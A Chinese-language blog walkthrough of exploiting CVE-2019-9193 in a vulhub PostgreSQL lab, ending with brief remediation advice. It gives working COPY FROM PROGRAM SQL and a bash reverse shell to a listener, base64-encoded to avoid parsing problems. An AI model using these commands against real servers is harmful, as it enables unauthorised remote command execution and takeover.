CVE-2019-9193之PostgreSQL?任意命令執(zhí)行漏洞的問題
起序:客戶內網測試的時候遇到的,搭建一個環(huán)境,寫個筆記記錄一下。
一、靶場環(huán)境
使用的是
github
上的vulhub
環(huán)境。PostgreSQL
版本為10.7
。
vulhub:https://github.com/vulhub/vulhub
1、任意命令執(zhí)行
具有數(shù)據(jù)庫服務器文件讀取權限的攻擊者可以利用此漏洞執(zhí)行任意系統(tǒng)命令。
從 9.3 版本開始,Postgres 新增了一個 COPY TO/FROM PROGRAM
功能,允許數(shù)據(jù)庫的超級用戶以及 pg_read_server_files
組中的任何用戶執(zhí)行操作系統(tǒng)命令。
漏洞利用前提:
需要登陸;需要高權限;
所以要先弱口令爆破之后,然后查看是否是高權限。(對于PostgreSQL 來說,只有安裝數(shù)據(jù)庫時默認創(chuàng)建的超級用戶 postgres,類似于 Linux上的root用戶,擁有高權限。)
新建數(shù)據(jù)庫用戶:CREATE USER
新建數(shù)據(jù)庫:CREATE DATABASE
刪除數(shù)據(jù)庫:DROP DATABASE
刪除用戶:DROP USER
撤銷權限:REVOKE
賦權:GRANT
查看權限:https://www.modb.pro/db/53957
2、影響版本
受影響的版本(貌似更新版本無解)
PostgreSQL >= 9.3
二、漏洞利用
1、啟動靶機
docker-compose up -d
注:當測試完成之后會用到
關閉靶機
的命令。不是現(xiàn)在就要使用的命令。
docker-compose down -v
2、Navicat 連接 PostgreSQL
賬號密碼:
postgres:postgres
。
3、執(zhí)行命令
右鍵
public
,點擊新建查詢
。
然后就是執(zhí)行下面的這些命令。
-- 先刪除你想要使用但是已經存在的表 DROP TABLE IF EXISTS cmd_exec; -- 創(chuàng)建保存系統(tǒng)命令輸出的表 CREATE TABLE cmd_exec(cmd_output text); -- 執(zhí)行系統(tǒng)命令利用特定函數(shù) COPY cmd_exec FROM PROGRAM 'id'; -- 查看執(zhí)行結果 SELECT * FROM cmd_exec;
4、實戰(zhàn)拓展:反彈 shell 1、nc 監(jiān)聽
在 kali 中使用 nc 進行監(jiān)聽。
nc -lvvp 1314
2、執(zhí)行反彈 shell 的命令
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1'; SELECT * FROM cmd_exec;
但是可以看出執(zhí)行失敗了,這種方法不行。
3、反彈失敗
kali 也沒有得到 shell。
4、編碼解決
將反彈 shell 的命令 base64 編碼一下。(下面的解碼不用管)
# base64 編碼前 /bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1 # base64 編碼后 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==
5、再次執(zhí)行反彈 shell 的命令
這里的編碼不僅僅限于
base64
,其他編碼形式也可以,主要是為了解決數(shù)據(jù)傳輸過程中的特殊字符被異常解析的問題。
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==" | base64 -d | bash'; SELECT * FROM cmd_exec;
6、反彈成功
三、漏洞修復
pg_read_server_files,pg_write_server_files 和 pg_execute_server_program
角色涉及讀取和寫入具有大權限的數(shù)據(jù)庫服務器文件。將此角色權限分配給數(shù)據(jù)庫用戶時,應慎重考慮;- 增強密碼的復雜度;
- 進行網絡隔離,限制 IP 訪問,只允許需要的 IP 連接;
到此這篇關于CVE-2019-9193:PostgreSQL 任意命令執(zhí)行漏洞的文章就介紹到這了,更多相關PostgreSQL 任意命令執(zhí)行漏洞內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
使用psql操作PostgreSQL數(shù)據(jù)庫命令詳解
這篇文章主要為大家介紹了使用psql操作PostgreSQL數(shù)據(jù)庫命令詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2023-08-08psql除法保留小數(shù),實現(xiàn)向上取整和向下取整操作
這篇文章主要介紹了psql除法保留小數(shù),實現(xiàn)向上取整和向下取整操作,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2021-01-01PostgreSQL 數(shù)據(jù)庫跨版本升級常用方案解析
這篇文章主要介紹了PostgreSQL 數(shù)據(jù)庫跨版本升級常用方案解析,本文給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下2021-03-03PostgreSQL時間線(timeline)和History File的用法
這篇文章主要介紹了PostgreSQL時間線(timeline)和History File的用法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-12-12